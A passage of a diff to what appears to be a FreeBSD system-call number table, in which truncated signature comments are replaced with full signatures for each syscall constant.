-- SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-- SYS_SETGID = 181 // { int setgid(gid_t gid); }
-- SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-- SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-- SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-- SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-- SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-- SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-- SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-- SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, \
-- SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, \
-- SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, \
-- SYS_FREEBSD6_MMAP = 197 // { caddr_t freebsd6_mmap(caddr_t addr, \
-- SYS_FREEBSD6_LSEEK = 199 // { off_t freebsd6_lseek(int fd, int pad, \
-- SYS_FREEBSD6_TRUNCATE = 200 // { int freebsd6_truncate(char *path, int pad, \
-- SYS_FREEBSD6_FTRUNCATE = 201 // { int freebsd6_ftruncate(int fd, int pad, \
-- SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, \
-- SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-- SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-- SYS_UNDELETE = 205 // { int undelete(char *path); }
-- SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-- SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-- SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, \
-- SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 233 // { int clock_settime( \
-- SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, \
-- SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, \
-- SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-- SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, \
-- SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct \
-- SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-- SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, \
-- SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-- SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( \
-- SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( \
-- SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,\
-- SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-- SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, \
-- SYS_RFORK = 251 // { int rfork(int flags); }
-- SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, \
-- SYS_ISSETUGID = 253 // { int issetugid(void); }
-- SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-- SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, \
-- SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-- SYS_LUTIMES = 276 // { int lutimes(char *path, \
-- SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-- SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-- SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-- SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, \
-- SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, \
-- SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, \
-- SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, \
-- SYS_MODNEXT = 300 // { int modnext(int modid); }
-- SYS_MODSTAT = 301 // { int modstat(int modid, \
-- SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-- SYS_MODFIND = 303 // { int modfind(const char *name); }
-- SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-- SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-- SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-- SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-- SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct \
-- SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-- SYS_GETSID = 310 // { int getsid(pid_t pid); }
-- SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, \
-- SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, \
-- SYS_YIELD = 321 // { int yield(void); }
-- SYS_MLOCKALL = 324 // { int mlockall(int how); }
-- SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-- SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-- SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, \
-- SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct \
-- SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int \
-- SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-- SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-- SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-- SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-- SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, \
-- SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-- SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, \
-- SYS_JAIL = 338 // { int jail(struct jail *jail); }
-- SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, \
-- SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-- SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-- SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, \
-- SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, \
-- SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, \
-- SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, \
-- SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, \
-- SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, \
-- SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, \
-- SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, \
-- SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, \
-- SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, \
-- SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, \
-- SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( \
-- SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( \
-- SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, \
-- SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_KQUEUE = 362 // { int kqueue(void); }
-- SYS_KEVENT = 363 // { int kevent(int fd, \
-- SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, \
-- SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, \
-- SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, \
-- SYS___SETUGID = 374 // { int __setugid(int flag); }
-- SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-- SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, \
-- SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-- SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-- SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, \
-- SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, \
-- SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, \
-- SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, \
-- SYS_KENV = 390 // { int kenv(int what, const char *name, \
-- SYS_LCHFLAGS = 391 // { int lchflags(const char *path, \
-- SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, \
-- SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, \
-- SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, \
-- SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, \
-- SYS_STATFS = 396 // { int statfs(char *path, \
-- SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, \
-- SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, \
-- SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, \
-- SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, \
-- SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( \
-- SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( \
-- SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( \
-- SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, \
-- SYS_SIGACTION = 416 // { int sigaction(int sig, \
-- SYS_SIGRETURN = 417 // { int sigreturn( \
-- SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-- SYS_SETCONTEXT = 422 // { int setcontext( \
-- SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, \
-- SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-- SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, \
-- SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, \
-- SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, \
-- SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, \
-- SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, \
-- SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, \
-- SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-- SYS_THR_SELF = 432 // { int thr_self(long *id); }
-- SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-- SYS__UMTX_LOCK = 434 // { int _umtx_lock(struct umtx *umtx); }
-- SYS__UMTX_UNLOCK = 435 // { int _umtx_unlock(struct umtx *umtx); }
-- SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-- SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, \
-- SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( \
-- SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( \
-- SYS_THR_SUSPEND = 442 // { int thr_suspend( \
-- SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-- SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-- SYS_AUDIT = 445 // { int audit(const void *record, \
-- SYS_AUDITON = 446 // { int auditon(int cmd, void *data, \
-- SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-- SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-- SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-- SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-- SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( \
-- SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( \
-- SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-- SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, \
-- SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, \
-- SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-- SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-- SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-- SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, \
-- SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, \
-- SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, \
-- SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, \
-- SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, \
-- SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-- SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-- SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-- SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, \
-- SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-- SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-- SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, \
-- SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, \
-- SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, \
-- SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, \
-- SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, \
-- SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, \
-- SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, \
-- SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, \
-- SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, \
-- SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, \
-- SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, \
-- SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-- SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-- SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, \
-- SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, \
-- SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, \
-- SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, \
-- SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, \
-- SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-- SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-- SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, \
-- SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, \
-- SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-- SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-- SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-- SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, \
-- SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-- SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-- SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-- SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-- SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-- SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, \
-- SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, \
-- SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-- SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, \
-- SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, \
-- SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, \
-- SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, \
-- SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, \
-- SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, \
-- SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, \
-- SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, \
-- SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, \
-- SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, \
-- SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, \
-- SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, \
-- SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, \
-- SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, \
-- SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, \
-- SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, \
-- SYS_ACCEPT4 = 541 // { int accept4(int s, \
-- SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-- SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, \
-- SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, \
-- SYS_FUTIMENS = 546 // { int futimens(int fd, \
-- SYS_UTIMENSAT = 547 // { int utimensat(int fd, \
-+ SYS_EXIT = 1 // { void sys_exit(int rval); } exit sys_exit_args void
-+ SYS_FORK = 2 // { int fork(void); }
-+ SYS_READ = 3 // { ssize_t read(int fd, void *buf, size_t nbyte); }
-+ SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-+ SYS_CLOSE = 6 // { int close(int fd); }
-+ SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, struct rusage *rusage); }
-+ SYS_LINK = 9 // { int link(char *path, char *link); }
-+ SYS_UNLINK = 10 // { int unlink(char *path); }
-+ SYS_CHDIR = 12 // { int chdir(char *path); }
-+ SYS_FCHDIR = 13 // { int fchdir(int fd); }
-+ SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-+ SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-+ SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-+ SYS_OBREAK = 17 // { int obreak(char *nsize); } break obreak_args int
-+ SYS_GETPID = 20 // { pid_t getpid(void); }
-+ SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, caddr_t data); }
-+ SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-+ SYS_SETUID = 23 // { int setuid(uid_t uid); }
-+ SYS_GETUID = 24 // { uid_t getuid(void); }
-+ SYS_GETEUID = 25 // { uid_t geteuid(void); }
-+ SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, int flags, struct sockaddr * __restrict from, __socklen_t * __restrict fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int accept(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen); }
-+ SYS_GETPEERNAME = 31 // { int getpeername(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_ACCESS = 33 // { int access(char *path, int amode); }
-+ SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-+ SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-+ SYS_SYNC = 36 // { int sync(void); }
-+ SYS_KILL = 37 // { int kill(int pid, int signum); }
-+ SYS_GETPPID = 39 // { pid_t getppid(void); }
-+ SYS_DUP = 41 // { int dup(u_int fd); }
-+ SYS_PIPE = 42 // { int pipe(void); }
-+ SYS_GETEGID = 43 // { gid_t getegid(void); }
-+ SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, size_t offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, int pid); }
-+ SYS_GETGID = 47 // { gid_t getgid(void); }
-+ SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int namelen); }
-+ SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-+ SYS_ACCT = 51 // { int acct(char *path); }
-+ SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, stack_t *oss); }
-+ SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, caddr_t data); }
-+ SYS_REBOOT = 55 // { int reboot(int opt); }
-+ SYS_REVOKE = 56 // { int revoke(char *path); }
-+ SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-+ SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int execve(char *fname, char **argv, char **envv); }
-+ SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args int
-+ SYS_CHROOT = 61 // { int chroot(char *path); }
-+ SYS_MSYNC = 65 // { int msync(void *addr, size_t len, int flags); }
-+ SYS_VFORK = 66 // { int vfork(void); }
-+ SYS_SBRK = 69 // { int sbrk(int incr); }
-+ SYS_SSTK = 70 // { int sstk(int incr); }
-+ SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise ovadvise_args int
-+ SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-+ SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, int behav); }
-+ SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_GETPGRP = 81 // { int getpgrp(void); }
-+ SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-+ SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_SWAPON = 85 // { int swapon(char *name); }
-+ SYS_GETITIMER = 86 // { int getitimer(u_int which, struct itimerval *itv); }
-+ SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-+ SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-+ SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-+ SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_FSYNC = 95 // { int fsync(int fd); }
-+ SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, int prio); }
-+ SYS_SOCKET = 97 // { int socket(int domain, int type, int protocol); }
-+ SYS_CONNECT = 98 // { int connect(int s, caddr_t name, int namelen); }
-+ SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-+ SYS_BIND = 104 // { int bind(int s, caddr_t name, int namelen); }
-+ SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, caddr_t val, int valsize); }
-+ SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-+ SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_GETRUSAGE = 117 // { int getrusage(int who, struct rusage *rusage); }
-+ SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, caddr_t val, int *avalsize); }
-+ SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, struct timezone *tzp); }
-+ SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-+ SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-+ SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-+ SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-+ SYS_RENAME = 128 // { int rename(char *from, char *to); }
-+ SYS_FLOCK = 131 // { int flock(int fd, int how); }
-+ SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-+ SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, int flags, caddr_t to, int tolen); }
-+ SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-+ SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, int *rsv); }
-+ SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-+ SYS_RMDIR = 137 // { int rmdir(char *path); }
-+ SYS_UTIMES = 138 // { int utimes(char *path, struct timeval *tptr); }
-+ SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, struct timeval *olddelta); }
-+ SYS_SETSID = 147 // { int setsid(void); }
-+ SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, caddr_t arg); }
-+ SYS_NLM_SYSCALL = 154 // { int nlm_syscall(int debug_level, int grace_period, int addr_count, char **addrs); }
-+ SYS_NFSSVC = 155 // { int nfssvc(int flag, caddr_t argp); }
-+ SYS_LGETFH = 160 // { int lgetfh(char *fname, struct fhandle *fhp); }
-+ SYS_GETFH = 161 // { int getfh(char *fname, struct fhandle *fhp); }
-+ SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-+ SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, struct rtprio *rtp); }
-+ SYS_SEMSYS = 169 // { int semsys(int which, int a2, int a3, int a4, int a5); }
-+ SYS_MSGSYS = 170 // { int msgsys(int which, int a2, int a3, int a4, int a5, int a6); }
-+ SYS_SHMSYS = 171 // { int shmsys(int which, int a2, int a3, int a4); }
-+ SYS_SETFIB = 175 // { int setfib(int fibnum); }
-+ SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-+ SYS_SETGID = 181 // { int setgid(gid_t gid); }
-+ SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-+ SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-+ SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-+ SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-+ SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-+ SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-+ SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-+ SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, struct rlimit *rlp); } getrlimit __getrlimit_args int
-+ SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, struct rlimit *rlp); } setrlimit __setrlimit_args int
-+ SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, u_int count, long *basep); }
-+ SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); } __sysctl sysctl_args int
-+ SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-+ SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-+ SYS_UNDELETE = 205 // { int undelete(char *path); }
-+ SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-+ SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-+ SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_SEMGET = 221 // { int semget(key_t key, int nsems, int semflg); }
-+ SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_MSGGET = 225 // { int msgget(key_t key, int msgflg); }
-+ SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { int shmat(int shmid, const void *shmaddr, int shmflg); }
-+ SYS_SHMDT = 230 // { int shmdt(const void *shmaddr); }
-+ SYS_SHMGET = 231 // { int shmget(key_t key, size_t size, int shmflg); }
-+ SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 233 // { int clock_settime( clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, struct timespec *tp); }
-+ SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, struct sigevent *evp, int *timerid); }
-+ SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-+ SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, const struct itimerspec *value, struct itimerspec *ovalue); }
-+ SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct itimerspec *value); }
-+ SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-+ SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
